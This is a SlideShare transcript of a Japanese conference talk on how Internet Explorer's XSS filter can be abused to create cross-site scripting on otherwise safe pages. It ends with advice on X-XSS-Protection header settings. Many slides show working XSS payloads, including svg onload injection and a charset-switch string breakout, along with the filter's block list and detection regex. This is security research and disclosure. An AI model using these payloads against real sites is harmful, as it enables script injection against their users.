Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

XSSフィルターを利用したXSS攻撃 by Masato Kinugawa

3,909 views

Published on

MicrosoftのWebブラウザ、Internet Explorer/EdgeにはXSS攻撃からユーザーを保護するためのXSSフィルターという機能が搭載されている。XSSフィルターは、リクエストにXSS攻撃らしき文字列があり、ページ内にそれに対応する文字列が出力されている場合に、ページ内の対応する文字列の一部を書き換えることによりユーザーを保護する。この書き換え動作は安全に行われているのだろうか?答えはNoだ。今回私は、XSS脆弱性のないありふれたページで、XSSフィルターの動作を利用することで、保護するどころかXSS脆弱性を作り出すことができる手法を発見した。本講演では、XSSフィルターを利用したXSS攻撃の可能性について技術的な詳細を述べるとともに、サイト管理者はこのXSSフィルターの悪夢とどう向き合うべきかについて提案する。

Published in: Software
  • Be the first to comment

XSSフィルターを利用したXSS攻撃 by Masato Kinugawa

  1. 1. X-XSS-Nightmare: 1; mode=attack XSSフィルターを 利用したXSS攻撃 (自重版) Masato Kinugawa
  2. 2. 自己紹介 Masato Kinugawa
  3. 3. 自己紹介 Masato Kinugawa x s
  4. 4. 自己紹介 Masato Kinugawa x s B
  5. 5. バグハンターの愉しみ 自己紹介
  6. 6. 話すこと IEのXSSフィルターを使って ❶XSSする手法 ❷XSSフィルターをバイパスする手法
  7. 7. 話すこと IEのXSSフィルターを使って ❶XSSする手法 ❷XSSフィルターをバイパスする手法 ごめんなさい、変更します!
  8. 8. 話すこと XSSフィルターがどういうものか XSSフィルターとどう付き合うべきか
  9. 9. XSSフィルター Internet Explorer 8から導入(2009) Chrome/Safariにも同様の機能 ➡今回はIEのフィルターを取り上げる
  10. 10. IEのXSSフィルター基本 http://example.com/?q=<img+src=x+onerror=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> q param is: <img src=x onerror=alert(1)> </body> </html> リクエストの値とレスポンスから、危険と判断 される条件にマッチすればページを書き換える 遮断前
  11. 11. こんなふうに# http://example.com/?q=<img+src=x+onerror=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> q param is: <img src=x #nerror=alert(1)> </body> </html> 遮断後 リクエストの値とレスポンスから、危険と判断 される条件にマッチすればページを書き換える
  12. 12. XSSフィルターの不正確さ 条件にマッチすればユーザ入力の動的生成部と 無関係の位置にある文字列でも書き換えてしまう http://example.com/?q=AAA&<meta+charset= <!DOCTYPE html> <html> <head> <m#ta charset="utf-8"> </head> <body> q param is: AAA </body> </html>
  13. 13. XSSフィルター導入後の世界 ページの一部が書き換えられる可能性を すべてのサイトが突然持つことになった # # # 2008 2009
  14. 14. ちょっと変わるくらい # # # どうってことない? ➡どこか1バイト変わることが どういうことか考えてみよう!
  15. 15. http://example.com/?q=AAA <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="AAA".replace(/</g,'&lt;'); document.write(s); </script> </body> </html> 文字列リテラル内へ ユーザ入力を動的生成
  16. 16. http://example.com/?q="/</script <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s=""/</script".replace(/</g,'&lt;'); document.write(s); </script> </body> </html> XSS対策もOK
  17. 17. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  18. 18. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  19. 19. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  20. 20. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  21. 21. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  22. 22. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  23. 23. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  24. 24. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  25. 25. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html> &lt;svg/onload=alert(1)>
  26. 26. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <scr#pt> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  27. 27. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <scr#pt> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  28. 28. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <scr#pt> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  29. 29. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/#/g,'&lt;'); document.write(s); </script> </body> </html>
  30. 30. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/#/g,'&lt;'); document.write(s); </script> </body> </html>
  31. 31. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/#/g,'&lt;'); document.write(s); </script> </body> </html>
  32. 32. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/#/g,'&lt;'); document.write(s); </script> </body> </html>
  33. 33. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/#/g,'&lt;'); document.write(s); </script> </body> </html>
  34. 34. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/#/g,'&lt;'); document.write(s); </script> </body> </html>
  35. 35. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/#/g,'&lt;'); document.write(s); </script> </body> </html> <svg/onload=alert(1)>
  36. 36. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/#/g,'&lt;'); document.write(s); </script> </body> </html> <svg/onload=alert(1)>
  37. 37. http://example.com/?q=</title><svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="</title><svg/onload=alert(1)>".replace(/</g,'&l t;'); document.write(s); </script> </body> </html>
  38. 38. http://example.com/?q=</title><svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</ti#le> </head> <body> <script> s="</title><svg/onload=alert(1)>".replace(/</g,'&l t;'); document.write(s); </script> </body> </html>
  39. 39. http://example.com/?q=</title><svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</ti#le> </head> <body> <script> s="</title><svg/onload=alert(1)>".replace(/</g,'&l t;'); document.write(s); </script> </body> </html>
  40. 40. http://example.com/?q=</title><svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</ti#le> </head> <body> <script> s="</title><svg/onload=alert(1)>".replace(/</g,'&l t;'); document.write(s); </script> </body> </html>
  41. 41. http://example.com/?q=</title><svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</ti#le> </head> <body> <script> s="</title><svg/onload=alert(1)>".replace(/</g,'&l t;'); document.write(s); </script> </body> </html>
  42. 42. http://example.com/?q=%E3%81%95";alert(1)// <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="さ";alert(1)//".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  43. 43. http://example.com/?q=%E3%81%95";alert(1)// <!DOCTYPE html> <html> <head> <m#ta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="さ";alert(1)//".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  44. 44. UTF-8の解釈 "さ";alert(1)//" 0xE3 0x81 0x95 0x5C UTF-8 さ Shift_JIS 縺 表
  45. 45. Shift_JISの解釈 "縺表";alert(1)//" 0xE3 0x81 0x95 0x5C UTF-8 さ Shift_JIS 縺 表
  46. 46. http://example.com/?q=%E3%81%95";alert(1)// <!DOCTYPE html> <html> <head> <m#ta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="縺表";alert(1)//".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  47. 47. http://example.com/?q=%E3%81%95";alert(1)// <!DOCTYPE html> <html> <head> <m#ta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="縺表";alert(1)//".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  48. 48. つまり 1バイトの変更すらリスキー https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU- 2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf Universal XSS via IE8s XSS Filters 実際過去には XSSフィルターの書き換えだってそう、 慎重に行わないと逆に脆弱にもなる Eduardo Vela Nava & David Lindsay
  49. 49. 2015: 今は大丈夫? 実際の遮断規則が どれほどのものかみてみよう! XSSのないありふれた構造のページが XSSに脆弱になる複数のパターンを発見 大丈夫…ではなかった! これはさておき この件は適切に修正された後、公開予定
  50. 50. 遮断規則 特に文書化されていない ブラウザにロードされるdllのバイナリに遮断文字列が 正規表現で書かれているのが確認できる
  51. 51. <button value= <form> <textarea> <isindex> <input value= <option value= <embed src= <embed type= <iframe src= <frame src= <x:vmlframe src= <link href= <import implementation= <meta http-equiv= <meta charset= <a href <script src= <script xlink:href= <script href= <script> <applet> <object type= <object codetype= <object classid= <object code= <object data= <base href= <style>@i <style>:( <style>: <style>=( <style>=
  52. 52. <button value= <form> <textarea> <isindex> <input value= <option value= <embed src= <embed type= <iframe src= <frame src= <x:vmlframe src= <link href= <import implementation= <meta http-equiv= <meta charset= <a href <script src= <script xlink:href= <script href= <script> <applet> <object type= <object codetype= <object classid= <object code= <object data= <base href= <style>@i <style>:( <style>: <style>=( <style>=
  53. 53. <button value= <form> <textarea> <isindex> <input value= <option value= <embed src= <embed type= <iframe src= <frame src= <x:vmlframe src= <link href= <import implementation= <meta http-equiv= <meta charset= <a href <script src= <script xlink:href= <script href= <script> <applet> <object type= <object codetype= <object classid= <object code= <object data= <base href= <style>@i <style>:( <style>: <style>=( <style>=
  54. 54. <button va#ue= <fo#m> <texta#ea> <is#ndex> <input va#ue= <option va#ue= <em#ed src= <em#ed type= <if#ame src= <f#ame src= <x:vmlf#ame src= <li#k href= <im#ort implementation= <m#ta http-equiv= <m#ta charset= <a hr#f <script src= <script xlink:href= <script href= <script> <ap#let> <ob#ect type= <ob#ect codetype= <ob#ect classid= <ob#ect code= <ob#ect data= <ba#e href= <style>@i <style>:( <style>: <style>=( <style>= 遮断後
  55. 55. <button va#ue= <fo#m> <texta#ea> <is#ndex> <input va#ue= <option va#ue= <em#ed src= <em#ed type= <if#ame src= <f#ame src= <x:vmlf#ame src= <li#k href= <im#ort implementation= <m#ta http-equiv= <m#ta charset= <a hr#f <script src= <script xlink:href= <script href= <script> <ap#let> <ob#ect type= <ob#ect codetype= <ob#ect classid= <ob#ect code= <ob#ect data= <ba#e href= <style>@i <style>:( <style>: <style>=( <style>= 遮断後
  56. 56. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <scr#pt> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  57. 57. <a hr#f <m#ta charset= <li#k href= <script> DEMO❶ ❷ ❸ ❹
  58. 58. 感じてほしいこと 自サイトがどうなるかはフィルター次第 ➡そんなのブラウザのバグ? ブラウザがなんとかしてくれよ? 常に安全にページを書き換えることが できているとは言えない
  59. 59. そもそもあなたのページは どこか一部分が壊れても耐え得る作り になっていると断言できる?
  60. 60. フィルターがやれること 最大限に配慮しながらページを書き換える #
  61. 61. 実のところ 意図的に誤検知を生じさせて、 特定の機能を動作させないよ うにすることも、場合によっ ては可能です。(略) XSSフィ ルタの作者が、この種の危険 性を認識しつつもXSSフィル タを導入したのか(あるいは そうではないのか)、ちょっ と興味があります。 ブラウザ側も危険性を認識した上で導入 以下は6年前の寺田さんとはせがわさんのやりとり T.Teradaの日記より http://d.hatena.ne.jp/teracc/2 0090622
  62. 62. 実のところ ブラウザ側も危険性を認識した上で導入 以下は6年前の寺田さんとはせがわさんのやりとり http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke 中の人は "The answer is Yes. " だそうです。 はせがわさんのはて なブックマークの コメントより ➡Web開発者が危険の面倒をみながら使えばいい?
  63. 63. 面倒をみるとは ✔ XSSフィルターの遮断動作を全て把握 ✔ 部分的に書き換わっても安全に動作すること を全てのページで検証 ✔ 危険な部分は逐一コードを書き直して回避 つまり次を行うこと: できそうですか?
  64. 64. 遮断文字列の一例 javascript:1 vbscript:1 vbs:1
  65. 65. 遮断文字列の一例 javasc#ipt:1 v#script:1 v#s:1 シンプル?
  66. 66. javascript:リンクの遮断の詳細 {(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0 *(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|( 41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;) |(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&( ([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[ ].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)| A|D);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73) );?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))) )*(c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0 *(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|( 52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab; )|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69));?))([t]|(& (([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[ ].]x?0*((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10 )|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((84)|(54)|(116)|(7 4));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;) )))*(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).}
  67. 67. javascript:リンクの遮断の詳細 {(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0 *(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|( 41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;) |(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&( ([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[ ].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)| A|D);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73) );?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))) )*(c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0 *(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|( 52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab; )|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69));?))([t]|(& (([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[ ].]x?0*((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10 )|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((84)|(54)|(116)|(7 4));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;) )))*(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).} http://masatokinugawa.l0.cm/2012/09/xss3.html
  68. 68. これができるなら ✔ XSSフィルターの遮断動作を全て把握 ✔ 部分的に書き換わっても安全に動作すること を全てのページで検証 ✔ 危険な部分は逐一コードを書き直して回避 自分のサイトのXSS全部潰せるのでは… ➡じゃあどうするのがいいか?
  69. 69. X-XSS-Protectionヘッダ 値 効果 0 無効 1 有効 (部分的書き換え) 1;mode=block 有効 (表示の完全な停止) デフォルト XSS保護機能を制御できるレスポンスヘッダ
  70. 70. Y 慎重な彼らはどうしている?
  71. 71. HTTP/2.0 200 OK Date: Mon, 19 Oct 2015 22:32:06 GMT Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN ...
  72. 72. HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html Date: Mon, 19 Oct 2015 22:40:37 GMT x-content-type-options: nosniff X-Frame-Options: DENY X-XSS-Protection: 0 ...
  73. 73. ちゃっかり制御している!!
  74. 74. より安全を考えた選択 値 選択すべきサイト 0 基本的なXSSは対応している /誤検知をなくしたい 1 推奨しない (発見した手法の影響を受けるのもココ) 1;mode =block XSSがまだありそう /念のため保護も受けたい default X-XSS-Protection:0 か 1;mode=block
  75. 75. mode=blockなら安全? 直接スクリプト実行に繋がることはないはず フィルターの恩恵の方が大きいと僕は考える 遮断時の特徴を外から検出できれば ページ内容を推測できる可能性はありうる この可能性はゼロにはできないだろう 一方で
  76. 76. Web開発者の声 僕 開 1;mode=blockに変更したら どうだろう?
  77. 77. Web開発者の声 僕 開 1;mode=blockに変更したら どうだろう? 遮断時の説明が不親切で、 誤検知時のユーザ対応を考える と厳しい…。
  78. 78. 遮断時の説明が不親切 確かに…
  79. 79. Web開発者の声 基本的なXSS対策はできていると思うし、 X-XSS-Protection:0にしては? 僕 開
  80. 80. Web開発者の声 基本的なXSS対策はできていると思うし、 X-XSS-Protection:0にしては? 僕 製品動作を優先して不適切に セキュリティ機能を切っていると 思われる可能性が。 開
  81. 81. XSSフィルターの罠 攻撃箇所だけ遮断して残りは表示してくれる のが一番スマートにみえてしまう 0 1 block この動作がリスクそのもの
  82. 82. さいごに まだ安全側に倒す余地はあるはず デフォルト動作が今のままで本当にいいのか 遮断の原理上、リスクはつきもの Web開発者はその可能性を知ってほしい デフォルト動作以外で制御することを強く推奨 XSSフィルターの改善には期待したい
  83. 83. http://l0.cm/xxn/ 本当のNightmareは 以下で後日公開 エル ゼロ
  84. 84. ";alert#"Thanks!"#// @kinugawamasato masatokinugawa@gmail#com

×